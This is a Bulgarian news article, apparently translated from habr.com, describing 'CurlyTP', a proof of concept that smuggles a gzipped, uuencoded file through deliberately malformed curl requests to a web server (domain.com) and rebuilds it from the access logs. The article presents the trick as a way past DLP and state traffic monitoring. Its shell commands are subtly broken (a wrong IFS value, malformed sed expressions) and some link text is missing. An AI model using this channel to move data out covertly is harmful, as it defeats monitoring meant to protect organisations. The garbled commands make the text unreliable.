Според определението в Уикипедия, тайник (dead drop) — това е инструмент за конспирация, използван за обмен на информация или предмети между хора, които използват тайно място. Идеята е, че хората никога не се срещат — но обменят информация, поддържайки оперативна безопасност.
Тайникът не трябва да привлича внимание. Затова в офлайн света често се използват непривлекателни неща: свободен тухла в стената, библиотечна книга или дупка в дърво.
В интернет съществуват много инструменти за криптиране и анонимизиране, но самият факт, че се използват тези инструменти, привлича внимание. Освен това те могат да бъдат блокирани на корпоративно или държавно ниво. Какво да правим?
Разработчикът Райън Флауърс предложи интересен вариант — . Ако помислим, какво прави уеб сървърът? Приема заявки, издава файлове и записва лог. И той записва в лога всички заявки, дори некоректни!
Получава се, че всеки уеб сървър позволява да запазим в лога практически произволно съобщение. Флауърс се замисля как да се използва това.
Той предлага следния вариант:
- Вземаме текстов файл (тайно съобщение) и изчисляваме хеш (md5sum).
- Кодиране (gzip+uuencode).
- Записваме в лога чрез умишлено некоректна заявка към сървъра.
Local:
[root@local ~]# md5sum g.txt
a8be1b6b67615307e6af8529c2f356c4 g.txt
[root@local ~]# gzip g.txt
[root@local ~]# uuencode g.txt > g.txt.uue
[root@local ~]# IFS=$'n' ;for x in `cat g.txt.uue| sed 's\ /+=/g'` ; do echo curl -s "http://domain.com?transfer?g.txt.uue?$x" ;done | shЗа да прочетете файла, трябва да извършите тези операции в обратен ред: декодирайте и разархивирайте файла, сверете хеша (хешът може безопасно да се предаде по открит канал).
Пробелите се заменят с =+=, за да няма пробели в адреса. Програмата, която авторът нарича CurlyTP, използва кодиране base64, както в прикачените файлове на имейл. Заявката се прави с ключовата дума ?transfer?, за да може получателят лесно да я намери в логовете.
Какво виждаме в логовете в такъв случай?
1.2.3.4 - - [22/Авг/2019:21:12:00 -0400] "GET \/?transfer?g.gz.uue?begin-base64=+=644=+=g.gz.uue HTTP\/1.1" 200 4050 "-" "curl\/7.29.0"
1.2.3.4 - - [22/Авг/2019:21:12:01 -0400] "GET \/?transfer?g.gz.uue?H4sICLxRC1sAA2dpYnNvbi50eHQA7Z1dU9s4FIbv8yt0w+wNpISEdstdgOne HTTP\/1.1" 200 4050 "-" "curl\/7.29.0"
1.2.3.4 - - [22/Авг/2019:21:12:03 -0400] "GET \/?transfer?g.gz.uue?sDvdDW0vmWNZiQWy5JXkZMyv32MnAVNgQZCOnfhkhhkY61vv8+rDijgFfpNn HTTP\/1.1" 200 4050 "-" "curl\/7.29.0"Как уже было сказано, за да получите тайно съобщение, трябва да извършите операции в обратен ред:
Отдалечена машина
[root@server \/home\/domain\/logs]# grep transfer access_log | grep 21:12| awk '{ print $7 }' | cut -d? -f4 | sed 's\/=+=\/ /g' > g.txt.gz.uue
[root@server \/home\/domain\/logs]# uudecode g.txt.gz.uue
[root@server \/home\/domain\/logs]# mv g.txt.gz.uue g.txt.gz
[root@server \/home\/domain\/logs]# gunzip g.txt.gz
[root@server \/home\/domain\/logs]# md5sum g
a8be1b6b67615307e6af8529c2f356c4 gПроцесът може да бъде леко автоматизиран. Md5sum съвпада и съдържанието на файла потвърдява, че всичко е разкодирано правилно.
Методът е много прост. „Смисълът на това упражнение е само да докаже, че файловете могат да се предават чрез невинни малки уеб заявки, и това работи на всеки уеб сървър с нормални текстови логове. По същество, всеки уеб сървър може да бъде тайник!“, пише Флауърс.
Разбира се, методът работи само ако получателят има достъп до сървърните логове. Но такъв достъп предоставят, например, много хостинг компании.
Как да го използвате?
Раян Флауърс казва, че не е специалист по информационна сигурност и няма да съставя списък на възможните приложения на CurlyTP. За него това е просто доказателство за концепцията, че познатите инструменти, които виждаме всеки ден, могат да се използват нетрадиционно.
Всъщност този метод има редица предимства пред други „тайници“ на сървъра, като или : той не изисква специална настройка на сървъра или някакви специални протоколи — и няма да събуди подозрение у тези, които следят трафика. Малко вероятно е СОРМ или системата DLP да сканират URL адреси за компресирани текстови файлове.
Това е един от начините за предаване на съобщения чрез служебни файлове. Можем да си припомним как преди време някои напреднали компании публикуваха или в кода на HTML страниците.

Идеята беше, че такава „пасхалка“ ще видят само уеб разработчици, тъй като нормалният човек няма да преглежда заглавията или кода на HTML.
Източник: habr.com
